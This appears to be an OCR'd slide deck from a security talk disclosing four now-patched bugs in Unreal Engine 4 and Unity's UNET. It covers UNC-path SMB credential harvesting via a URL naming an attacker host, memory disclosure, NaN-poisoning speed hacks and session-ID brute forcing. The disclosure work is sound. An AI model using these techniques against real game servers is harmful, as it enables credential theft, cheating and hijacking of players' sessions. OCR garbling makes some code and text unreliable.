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BUGS IN MULTIPLAYER GAME ENGINES 
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> Over a few months І found 10+ remotely 
exploitable bugs in 2 game engines 

> [m going to talk about 4 of these bugs (2 рег 
engine) 


BACKGROUND 


GAME 
ENGINES 


> The term Game Engine refers to the base 
software on which most video games are created 

> The popularity of many game engines means that 
lots of game share the same bugs 

> Updating your game engine can be a huge pain 

> Games don't often get “security patches” after 
release 


GAME 
ENGINES 


> General understanding is that two engines are 
the most common: 
> Unreal Engine 4 (Or UE4) 
> Unity 
> If you're a solo developer or small team, there's a 
good chance youre using Unity 
> If you're a larger team and haven't built your own 
engine, youre probably using UE4 


> Created by Epic Games 
> Named for its roots in the Unreal series 
UNREAL > Open source (With licensing restrictions) 
ENGINE 4 | > Notable games: 
> Fortnite 
> PlayerUnknown's Battlegrounds (PUBG) 


> Created by Unity Technologies 
> Core components are closed source 
UNITY > Core networking library is called UNET 
> Games using UNET: 
> Countless indie releases on Steam 


> UNET is technically deprecated, but Unity 
Technologies has not released an alternative 
> UNET still receives patches and even occasional 
new features 
> Encryption АРІ was added post-deprecation 
> A TON of new and existing games use UNET 


(/МЕТ 


> The evolution of multiplayer architectures has 
largely focused on two things 
> Increasing performance 
> Moving trust away from the client 

> These are often conflicting goals 


MULTIPLAYER 
PROTOCOLS 


> To understand multiplayer protocols we should 
MULTIPLAYER understand the attacks they aim to prevent 
PROTOCOLS | > А good example of the evolution of multiplayer 
protocols is the evolution of Movement Hacking 


> One of the oldest and most common types of 
game hack is manipulating the players location 
МОМЕМЕМТ! > № the good old days, player location was trusted 
HACKING to the client 
> Manipulate location client-side and we can 
teleport 


> To prevent this type of attack, authority over 
player location is trusted only to the server 
MOVEMENT > Instead, clients can make a request to move the 
HACKING player and the server can update their position 
accordingly 
> This lead to a new type of attack, Speed Hacking 


> Speed hacking was the next evolution in 
movement hacking where the goal is not to 
EE teleport, but to move extremely fast 
HACKING | > This typically works by sending a movement 
request excessively fast 
> More requests = More speed 


> Speed hacking is prevented by restraining 
movement server side 
> The server knows what is realistic movement 
for a given time frame and prevents anything 
beyond this 


SPEED 
HACKING 
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MULTIPLAYER PROTOCOL BASICS 
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> Most multiplayer protocols use some form of 
Distributed Architecture 
DISTRIBUTED > Each system (client or server) has a copy of 
ARCHITECTURE each “networked” object in the game world 
> Actions are performed and propagated 
through Remote Procedure Calls (RPCs) 


> Remote Procedure Calls are used to call 
functions on a remote system as if it were local 


REMOTE > This simplifies things significantly for the 
PROCEDURE 
CALLS developer 


> There's a lot of complexity that goes into this 
process on the back-end 


> Multiplayer protocols typically have some 
concept of ownership 
> Owning an object means having the authority to 
Биши issue RPCs on that object 
OWNERSHIP > Each player has ownership over their character 
and associated subobjects 
> Player A can issues RPCs on Character A, but 

not Character B 


> For performance, most multiplayer protocols are 
implemented over UDP 
MULTIPLAYER > Browser games are the main exception here 
PROTOCOLS | > This puts extra requirements on the protocol: 
> Validate packet sender 
> Identify duplicate or out-of-order packets 
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BUG #1 


UE4 ARBITRARY FILE ACCESS 
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UE4 URLS 


> UE4 uses its own type of "URL to communicate 
details between server and client. This includes: 
> Package names (Such as loading maps or 
other assets) 
> Client information (Player name, how many 
split-screen players are on one client) 


127.0.0.1//Game/ThirdPersonCPP/Maps/ThirdPersonExampleMap?Name=Player 


UE4 URLS 


> A malicious URL can cause a server or client to 
access any local file path 

> This is boring, unless we use Universal Naming 
Convention (UNC) paths 

> UNC paths are special Windows paths used to 
access networked resources like regular files 

> They typically look like this: 

\\hostname\sharename\filename 


> We can cause a server or client to connect to a 
UE4 URLS remote SMB share with the following URL: 
\\asdf.umap.attacker.com\hi\hi.txt 


> This opens affected servers/clients up to the 
world of SMB-related attacks 
> Credential harvesting 
UE4 URLS > Authentication relaying 
> Can also be used as a server DoS 
> Fixed in UE4.25.2 with commit 
cdfe253a5db58d8d525dd50be820e8106113a746 
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BUG #2 


UNET MEMORY DISCLOSURE 
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UNET 
MEMORY 
DISCLOSURE 


> UNET packets are packed in a format that can 
allow for multiple RPCs in a single packet 


16-bit Msg Type 
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UNET > If we supply a message size field larger than our 
MEMORY actual payload, the server will act on extra data 
DISCLOSURE already in memory 
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> > > 
> > > 
> > > 
> > > 
> > > 
> > > 
> > > 
> > > 
> > > 
> > > 


> This old memory comes from past RPCs, 


грее including those from other connections 
DISCLOSURE | 2 We can create an RPC that will leak this memory 


to us Heartbleed-style 


> To leak memory we need an RPC that will trigger 


TEVENS a response with data from our malformed RPC 
DISCLOSURE! 7 Chat messages are typically the perfect RPC for 


this 
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> Other types of RPCs we might use: 


UNET > Movement 
MEMORY Це | к 
DISCLOSURE pawning a new objec 


> Other game specific commands 


> What can we leak? 
> Passwords 


in > Private messages 
MEMORY UD ec Eee 
о четена" 213 ayer locations/actions 


> … really anything sent over ОМЕТ 
> Fixed in UNET version 1.0.6 
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BUG #3 


UE4 UNIVERSAL SPEED HACK 
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> UE4 movement is server-authoritative 
> Client cannot directly dictate the player's 
position 
» To move the character, the client issues a 
movement RPC 


UE4 
MOVEMENT 


> The movement RPC has two important 
arguments (We're simplifying a bit) 
> The movement vector 
> A vector dictating the direction and speed of 
movement 
> A timestamp of when the RPC is issued 
> Represented as a 32-bit float 


MOVEMENT 
RPC 


// Calculate the time since last movement 
MovementDelta = CurrentTimestamp - LastTimestamp 


// Calculate the distance moved in this time 
AppliedMovement = MovementVector * MovementDelta 


> Now we need to talk about floating point 
FLOATING | > Floating Point (Specifically IEEE 754) is how most 
POINT computer systems represent rational numbers 
such as 12.34 


> Floating point has some ‘special’ values 
+/- Infinity (or INF) 
+/- Not-a-Number (or NaN) 


FLOATING 
POINT 


> These special values usually result from 
undefined mathematical operations 
FLOATING TO) аба Sa ENE 
POINT сие пещ Ез) = 
Ol 020 = Мам 
Ier И = Май 


> NaN in particular has some special properties 
> Any affirmative comparison against NaN 
evaluates to false 
NaN == // false 
aN HE; // false 
HERE: 0 // false 
NaN == NaN // false 


FLOATING 
POINT 


> NaN tends to “propagate” 
> Any mathematical operation including NaN 
evaluates to NaN 


FLOATING 
POINT NaN-+ 1 = NaN 
DSTI Ел-апат 
NaN * 2 = NaN 
NaN / 2 = NaN 


> NaN Poisoning is where these properties of NaN 
are used to cause some unintended effect 
> For example, take the following code 


NaN 
POISONING 


гоа ое: NaN 


ТЕ (ШІП 23 100-034 |а Om. 
Bem urn false; 
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> NaN poisoning attacks are rare because it is 
typically difficult to introduce NaN into an 
equation 

> However, when we call RPCs we can use any 
arguments we want (including NaN or INF) 


NaN 
POISONING 


> Back to our movement RPC, what happens if our 
MOVEMENT timestamp is NaN? 


RPG > Timestamp is first passed through the function 
UCharacterMovementComponent::IsClientTimeStampValid 


if (TimeStamp <= 0.Е) 
{ 


return false; 
const float DeltaTimeStamp = (TimeStamp = ServerData.CurrentClientTimeStamp; 
// If TimeStamp is in the past, move is outdated, not valid. 
if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 
{ 
return false; 
tf—(DelrtaTime Stamp <yucharacterMovementComponents MIN TICK \TIME 
return false; 


// TimeStamp valid. 
return true; 


if (TimeStamp <= 0.f) 
{ 


return false; 


const float DeltaTimeStamp = (TimeStamp = ServerData.CurrentClientTimeStamp; 
// If TimeStamp is in the past, move is outdated, not valid. 


if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 


{ 


return false; 


if (DeltaTimeStamp < YeraracterMovemenec onponent. MEN BEECK V T IME 


return false; 


// TimeStamp valid. 
return true; 


if (TimeStamp <= 0.Е) 
{ 


return false; 


const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp) ; 
// If TimeStamp is in the past, move is outdated, not valid. 


if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 


{ 


return false; 


if (DeltaTimeStamp < UCharacterMovementComponent::MIN ТІСК,ТІМВ 


return false; 


// TimeStamp valid. 
return true; 


if (TimeStamp <= 0.Е) 
{ 


return false; 


const float DeltaTimeStamp = (TimeStamp = ServerData.CurrentClientTimeStamp; 


// If TimeStamp is in the past, move is outdated, not valid. 
if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 


{ 


return false; 


if (DeltaTimeStamp < UCharacterMovementComponent: : МТМ TICK TIME) 
{ 


return false; 


// TimeStamp valid. 
return true; 


> By pure luck, all of these conditionals are written 
MOVEMENT such that NaN will pass right through 
RPC > Since our timestamp was ‘valid’, we generate 
Delta Time using NaN 
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> Now the server will attempt to apply our 
movement 
> Here we run into our first issue 


MOVEMENT 
RPC 


|[—-PérBemmlactual movement 
if (DeltaTime > 0.Е) 
{ 


MoveAutonomous (TimeStamp, DeltaTime) ; 


> Our movement doesnt apply since DeltaTime is 


Мам 
MOVEMENT > But were not done yet! We've caused 
KRG ServerData->CurrentClientTimeStamp to be NaN 


> Now we need to look back at 
UCharacterMovementComponent::IsClientTimeStampValid 


if (TimeStamp <= 0.Е) 
{ 


return false; 
const float DeltaTimeStamp = (TimeStamp = ServerData.CurrentClientTimeStamp; 
// If TimeStamp is in the past, move is outdated, not valid. 
if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 
{ 
return false; 
tf—(DelrtaTime Stamp <yucharacterMovementComponents MIN TICK \TIME 
return false; 


// TimeStamp valid. 
return true; 


if (TimeStamp <= 0.Е) 
{ 


return false; 


const float DeltaTimeStamp = (TimeStamp - ServerData.CurrentClientTimeStamp) ; 
// If TimeStamp is in the past, move is outdated, not valid. 


if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 


{ 


return false; 


if (DeltaTimeStamp < UCharacterMovementComponent::MIN ТІСК,ТІМВ 


return false; 


// TimeStamp valid. 
return true; 


if (TimeStamp <= 0.Е) 
{ 


return false; 


const float DeltaTimeStamp = (TimeStamp = ServerData.CurrentClientTimeStamp; 


// If TimeStamp is in the past, move is outdated, not valid. 
if( TimeStamp <= ServerData.CurrentClientTimeStamp ) 


{ 


return false; 


if (DeltaTimeStamp < UCharacterMovementComponent: : МТМ TICK TIME) 
{ 


return false; 


// TimeStamp valid. 
return true; 


> DeltaTimeStamp will be NaN regardless of what 
our second TimeStamp is 

> On this second RPC call any timestamp >0.0 will 
pass the validity check 

> Unfortunately, our Delta Time will still calculate to 
NaN, so still nothing happens! 

> Fortunately, now we ve poisoned another value 


MOVEMENT 
RPC 


Ғісас-СітетпкеЕнжеШ = Сіз-езіПеіба = ServerDettas 


float NewTimeDiscrepancy = ServerData.TimeDiscrepancy + ClientError; 


> The value NewTimeDiscrepancy is used to detect 
a difference between client time and server time 

> If this difference becomes too large, the server 
will start ignoring our movement RPCs 

> By poisoning this value we can make it 
impossible for the server to detect that our time 
difference is invalid 


MOVEMENT 
RPC 


if (NewTimeDiscrepancy > MovementTimeDiscrepancyMaxTimeMargin 


{ 


// Time discrepancy detected 


> Once NewTimeDiscrepancy is NaN, the server 
cannot detect a time discrepancy for апу 
timestamp we send 

> We can now pull off an old-school speed hack by 
“speeding up time” client side 

> This allows us to move significantly faster than 
built-in limitations would normally allow 


MOVEMENT 
RPC 
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UE4 SPEEDHACK 
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> Fixed in UE4.25.2 with commit 
012a7fa095d18d4c4b6c29e9f7bda0904377b667 
> This demonstrates a fun type of attack against 
UE4 games - float poisoning 
> Can also apply to UNET 


RPC FLOAT 
POISONING 
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UNET REMOTE SESSION HIJACKING 
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> UNET uses a protocol-level process to 
authenticate packets 
> Remember - UNET is over UDP 
> Packets are not validated by source IP address, 
only by values within the packet 
> Knowing this, it is theoretically possible to hijack 
another player's session fully remotely 


ЕО 
AUTHENTICATION 


> There are 3 important values that are used to 


validate an incoming packet: 


ЕО 
AUTHENTICATION > Host ID 


> Session ID 
> Packet ID 


> The Host ID is a 16-рії integer that associates а 
packet with a given client 
> Host IDs are assigned sequentially starting at 1 
> Note that this is per CLIENT. The server player 
does not get a Host ID 
> Host 10$ are not intended to be a secret 
> We can easily enumerate the Host ID of other 
players 


Sh Sm, 


> The Session ID is the primary authenticating 
secret of a connection 

> Session ID is randomly generated by the client 
when connecting 

> All packets must have the correct Session ID or 
be discarded 


SESSION ID 


> Session IDs are also 16-bit integers and cannot 
be 0. This means there are only 65535 possible 
Session IDs (1 - ОХЕЕЕЕ inclusive) 

> There is no penalty for guessing a wrong Session 
ID other than the packet being dropped 

> We can easily brute force 65535 possible options 


SESSION ID 


SESSION ID 


> We can narrow down the search even more 

> Session IDs are generated with the function 
UNET::GetRandNotZero 

> This function ensures the result is not zero by 
OR ing the result with 1 
» This means a legitimate client will only ever 

generate odd-number Session IDs 
» This reduces possible Session IDs to 32768 


> Knowing the Host ID and guessing the Session ID 
means our spoofed packet will be accepted 
> Theres one more hiccup though, the Packet ID 
> The packet ID is incremented with each packet 
sent by the client (Like a sequence number) 
> Again, 16-bits long 


PACKET ID 


> The packet ID is used to detect duplicate or 
out-of-order packets 
> Из also used to determine the rate of packet loss 
> If the last packet ID was 1 and the next packet 
ID is 1000, we assume 998 packets are 
missing 


PACKET ID 


> We can determine Host ID and guess Session ID, 
what can we do with Packet ID? 

> What happens if we send a random Packet ID? 

> Lets read the documentation 


PACKET ID 


PACKET ID 


> If new packet ID is greater than last packet ID + 
512 (0x200), disconnect the session 

> If packet ID is more than 512 behind current 
packet ID, discard 

> If packet ID has been seen recently, discard 

> Otherwise, accept and process packet 


From https://github.com/Unity-Technologies/UnetEncryptionExample/blob/master/docs/duplication.md 


> If our guessedPacketld > lastPacketld + 512 the 
connection will be disconnected 
> This is still useful! We can easily kick other 
players off the server 
> However, it's much more interesting if we can 
bypass this check 


PACKET ID 


> From the documentation, the odds of us injecting 
a valid packet are low 
> guessedPacketld must be lastPacketld +/- 512 
> Less than 7% chance of success 
> The implementation tells a slightly different story 
however 


PACKET ID 


> Packet ID validation is done by the function 
UNET::ReplayProtector::lsPacketReplayed 
> In practice, this function does not actually 
discard packets that are more than 512 packets 
old 
> Instead, old packets are accepted! 


PACKET ID 


> Unfortunately, we can't just use a low packet ID to 
always be accepted 
> The check accounts for cases where the packet 
PACKET ID ID overflows from OxFFFF to 0 
> Instead, the server has a “rolling window” of 
Ox7FFF IDs used to determine if a packet is old or 
new 


> Doing the math, we have very close to a 50% 
chance that a packet ID will be accepted 
> Most of the rest of the time, we cause the other 
player to get kicked 
> Occasionally our packet ID will be a duplicate 
and the injected packet will be discarded 


PACKET ID 
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DEMO #2 


SESSION HIJACKING 
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> This is considered to be an architectural 
weakness of UNET 
> The only mitigation against this enerypting UNET 
> Unity provides a reference implementation 
> Does not implement key exchange 
> | have not found a single game implementing this 


REMEDIATION 


> | probably haven't found all the bugs even in the 
components | looked at 

> Both protocols have other transport modes 
(Particularly websockets) 

> Third party networking plugins (Like Photon, 
Mirror) 

> Other engines (GameMaker Studio, Godot, etc) 


FUTURE 
WORK 


> Epic Games and Unity Technologies security 
teams for putting up with me 

> Igor Grinku (https://twitter.com/Grigoreen) for 
the background art 
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